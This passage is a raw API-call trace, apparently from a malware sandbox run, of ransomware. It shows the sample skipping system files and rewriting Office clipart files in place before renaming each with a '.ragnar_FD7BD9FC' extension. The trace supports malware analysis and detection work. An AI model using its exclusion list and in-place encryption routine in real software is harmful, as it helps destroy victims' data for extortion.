lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3946) returned 1 [0087.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.168] GetProcessHeap () returned 0x580000 [0087.168] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.168] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.169] VirtualAlloc (lpAddress=0x0, dwSize=0xf6a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.170] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf6a, lpOverlapped=0x0) returned 1 [0087.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf6a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.170] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf6a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf6a, lpOverlapped=0x0) returned 1 [0087.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf6a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.170] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.171] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.171] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.171] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.171] GetProcessHeap () returned 0x580000 [0087.171] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.171] CloseHandle (hObject=0xf4) returned 1 [0087.171] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" [0087.171] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ragnar_FD7BD9FC" [0087.171] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.172] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0087.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.172] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0279644.WMF" | out: lpString1="J0279644.WMF") returned="J0279644.WMF" [0087.172] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF") returned=".WMF" [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="autorun.inf") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="boot.ini") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootfont.bin") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootsect.bak") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootmgr") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootmgr.efi") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootmgfw.efi") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="desktop.ini") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="iconcache.db") returned 1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ntldr") returned -1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ntuser.dat") returned -1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ntuser.dat.log") returned -1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ntuser.ini") returned -1 [0087.172] lstrcmpiW (lpString1="J0279644.WMF", lpString2="thumbs.db") returned -1 [0087.172] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.172] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.172] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.172] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.172] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.173] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.173] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf")) returned 0x20 [0087.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.174] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17200) returned 1 [0087.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4327, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.174] GetProcessHeap () returned 0x580000 [0087.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.174] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.175] VirtualAlloc (lpAddress=0x0, dwSize=0x4330, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.175] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4330, lpOverlapped=0x0) returned 1 [0087.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.176] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4330, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.176] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4330, lpOverlapped=0x0) returned 1 [0087.177] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4330, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.177] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4330, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.177] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.177] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.177] GetProcessHeap () returned 0x580000 [0087.177] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.177] CloseHandle (hObject=0xf4) returned 1 [0087.177] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" [0087.177] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ragnar_FD7BD9FC" [0087.177] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.178] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0087.178] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.178] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0280468.WMF" | out: lpString1="J0280468.WMF") returned="J0280468.WMF" [0087.178] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF") returned=".WMF" [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="autorun.inf") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="boot.ini") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootfont.bin") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootsect.bak") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootmgr") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootmgr.efi") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootmgfw.efi") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="desktop.ini") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="iconcache.db") returned 1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ntldr") returned -1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ntuser.dat") returned -1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ntuser.dat.log") returned -1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ntuser.ini") returned -1 [0087.178] lstrcmpiW (lpString1="J0280468.WMF", lpString2="thumbs.db") returned -1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.179] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf")) returned 0x20 [0087.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.179] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=73198) returned 1 [0087.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11de5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.179] GetProcessHeap () returned 0x580000 [0087.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.179] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.181] VirtualAlloc (lpAddress=0x0, dwSize=0x11dee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.181] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11dee, lpOverlapped=0x0) returned 1 [0087.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11dee, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.183] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11dee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11dee, lpOverlapped=0x0) returned 1 [0087.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11dee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.184] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.184] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.184] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.184] GetProcessHeap () returned 0x580000 [0087.184] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.185] CloseHandle (hObject=0xf4) returned 1 [0087.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" [0087.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ragnar_FD7BD9FC" [0087.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0087.185] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.185] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281008.WMF" | out: lpString1="J0281008.WMF") returned="J0281008.WMF" [0087.186] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF") returned=".WMF" [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="autorun.inf") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="boot.ini") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootfont.bin") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootsect.bak") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootmgr") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootmgr.efi") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootmgfw.efi") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="desktop.ini") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="iconcache.db") returned 1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ntldr") returned -1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ntuser.dat") returned -1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ntuser.dat.log") returned -1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ntuser.ini") returned -1 [0087.186] lstrcmpiW (lpString1="J0281008.WMF", lpString2="thumbs.db") returned -1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.186] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf")) returned 0x20 [0087.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.187] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38084) returned 1 [0087.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x94bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.187] GetProcessHeap () returned 0x580000 [0087.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.187] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.189] VirtualAlloc (lpAddress=0x0, dwSize=0x94c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: 